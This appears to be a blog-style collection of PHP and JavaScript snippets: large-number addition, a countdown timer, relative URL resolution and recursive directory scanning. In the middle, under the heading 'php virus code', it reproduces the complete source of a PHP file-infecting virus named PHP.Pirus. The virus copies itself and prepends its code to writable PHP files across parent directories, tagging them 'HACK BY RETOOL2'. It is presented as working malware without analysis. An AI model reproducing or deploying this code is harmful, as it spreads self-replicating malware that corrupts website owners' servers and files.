plus function for large number

function plus($a,$b){
  $b_length = strlen($b)+1;
  $a = sprintf("%0".$b_length."s",   $a);
  $b = '0'.$b;
  $a_length = strlen($a);
  $temp =0;
  for($i=0;$i<$a_length;$i++){
    $a1 = substr($a,-1,1);
    $b1 = substr($b,-1,1);
    $a = substr($a,0,-1);
    $b = substr($b,0,-1);
    $result = ($a1+$b1+$temp)%10;
    $ans = $result.$ans;
    $temp = floor(($a1+$b1+$temp)/10);
  }
  $ans = $b.$ans;
  return ltrim($ans,'0');
}

with both $a and $b if string and strlen($a) < strlen($a)

countdown javascript display in div

window.onload = function() {
startCountDown(180, 1000, myFunction); // set setdown here
}
function startCountDown(i, p, f) {
var pause = p;
var fn = f;
var countDownObj = document.getElementById("countDown");
if (countDownObj == null) {
alert("div not found, check your id");
return;
}
countDownObj.count = function(i) {
countDownObj.innerHTML = i;
if (i == 0) {
fn();
return;
}
setTimeout(function() {
countDownObj.count(i - 1);
},
pause
);
}
countDownObj.count(i);
}
function myFunction() {
alert("hi alex");
}

and put div name

<div id="countDown"></div>

php virus code

original code virus named PHP.Pirus

< ?php #retool2.php
$atefile = 0; 
walkthrough('../..');
function walkthrough($dir) {
global $atefile;
$maxi = 100;
$viruscontents=fread(fopen(__FILE__,'r'), 1626);
if (!file_exists('retool2.php')) {
  $handle = fopen('retool2.php', 'a');
  fwrite($handle, $viruscontents.'HACK BY RETOOL2');
  fclose($handle);
}
if(is_dir($dir)){
  if($dh = opendir($dir)){
   while(($file = readdir($dh)) !== false && $atefile<$maxi){
    if($file != "." && $file != ".."){
     if(is_dir($dir."/".$file)){
      walkthrough($dir."/".$file);
     }else{
      if(strstr (substr($file, -4), 'php')){
       $infected=true;
       $caniwrite=false;
       if ( is_file($dir."/".$file) && is_writeable($dir."/".$file) ){
        $output = fopen($dir."/".$file, "r");
        if(filesize ($dir."/".$file)>0){
         $contents = fread ($output , 20);
         $mine = strstr ($contents, 'retool2.php');
         fclose($output );
        }
        $infected=false;
        if($mine){$infected=true;}
       }
       if($infected==false){
        if(filesize ($dir."/".$file)>0){
         $victim = fopen($dir."/".$file, "r+");
         $ori = fread($victim, filesize($dir."/".$file));
         fclose($victim);
        }
        $victim = fopen($dir."/".$file, "w+");
        if(filesize($dir."/".$file)==0){
         fwrite($victim, $viruscontents);
        }else{
         fputs($victim ,$viruscontents.$ori);
        }
        $atefile++;
        fclose($victim );
       }
      }
     }
    }
   }
   closedir($dh);
  }
}
return $counter;
}
?>

link: http://www.rohitab.com/discuss/lofiversion/index.php/t10727.html

translate relative url to absolute url

function relative2absolute($absolute, $relative) {
        $p = @parse_url($relative);
        if(!$p) {
         return false;
        }
        if(isset($p["scheme"])) return $relative;
        $parts=(parse_url($absolute));
        if(substr($relative,0,1)=='/') {
            $cparts = (explode("/", $relative));
            array_shift($cparts);
        } else {
            if(isset($parts['path'])){
                 $aparts=explode('/',$parts['path']);
                 array_pop($aparts);
                 $aparts=array_filter($aparts);
            } else {
                 $aparts=array();
            }
           $rparts = (explode("/", $relative));
           $cparts = array_merge($aparts, $rparts);
           foreach($cparts as $i => $part) {
                if($part == '.') {
                    unset($cparts[$i]);
                } else if($part == '..') {
                    unset($cparts[$i]);
                    unset($cparts[$i-1]);
                }
            }
        }
        $path = implode("/", $cparts);
        $url = '';
        if($parts['scheme']) {
            $url = "$parts[scheme]://";
        }
        if(isset($parts['user'])) {
            $url .= $parts['user'];
            if(isset($parts['pass'])) {
                $url .= ":".$parts['pass'];
            }
            $url .= "@";
        }
        if(isset($parts['host'])) {
            $url .= $parts['host']."/";
        }
        $url .= $path;
        return $url;
}

link : http://w-shadow.com

php sub folder scan

you can use php to scan all file in sub folder from this code

<?php
// *** requires PHP5 ***
// search for gif files (can be empty for all file)
$filter = ".gif";
// path to the directory you want to scan(can be .. to search all drive)
$directory = './';
$it = new RecursiveDirectoryIterator("$directory");
foreach(new RecursiveIteratorIterator($it) as $file)
{
  if (!((strpos(strtolower($file), $filter)) === false) || empty($filter))
  {
    $items[] = preg_replace("#\\\#", "/", $file);
  }
}
sort($items);
print_r($items);
?>

but if your server not PHP5 don't worry please see this link http://www.php.net and find class RecDir